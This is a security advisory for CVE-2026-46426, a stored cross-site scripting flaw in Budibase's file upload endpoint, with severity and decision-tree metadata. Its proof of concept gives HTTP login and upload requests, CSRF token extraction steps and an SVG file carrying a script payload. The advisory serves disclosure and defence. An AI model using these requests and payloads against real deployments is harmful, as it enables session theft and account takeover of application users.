Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-82rc-gxrg-v4gf
Advisory ID github_osv/GHSA-82rc-gxrg-v4gf
Aliases CVE-2026-46426
Summary Budibase: Unrestricted Upload of File with Dangerous Type ### Summary The file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is **persistent stored XSS** over all application end users. ### Details The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179). Route definitions (packages/server/src/api/routes/static.ts): POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders. ### PoC ### Prerequisites - Budibase self-hosted Docker deployment, any version ≤ 3.30.6 - An account with Builder role (does **not** require admin) - Target app published and accessible to end users ### Step 1 — Authenticate as builder ```http POST /api/global/auth/default/login HTTP/1.1 Host: target:10000 Content-Type: application/json {"username":"builder@company.com","password":"BuilderPass1!"} ``` ``` HTTP/1.1 200 OK Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT {"message":"Login successful"} ``` The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`. ### Step 2 — Upload SVG with XSS payload ```http POST /api/attachments/process HTTP/1.1 Host: target:10000 Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig> x-budibase-app-id: <dev_app_id> x-csrf-token: <csrf_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Length: 391 ------WebKitFormBoundaryXXXXXXXXXXXXXXXX Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> ------WebKitFormBoundaryXXXXXXXXXXXXXXXX-- ``` ```json HTTP/1.1 200 OK [{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}] ``` ### Impact * App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. | * Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. <img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" /> <img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" /> -------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed
Status Published
Exploitability 0.5
Weighted Severity 6.8
Risk 3.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (2)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-82rc-gxrg-v4gf/GHSA-82rc-gxrg-v4gf.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-27T18:01:32Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/46xxx/CVE-2026-46426.json

Source Advisory: vulnrichment/CVE-2026-46426

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]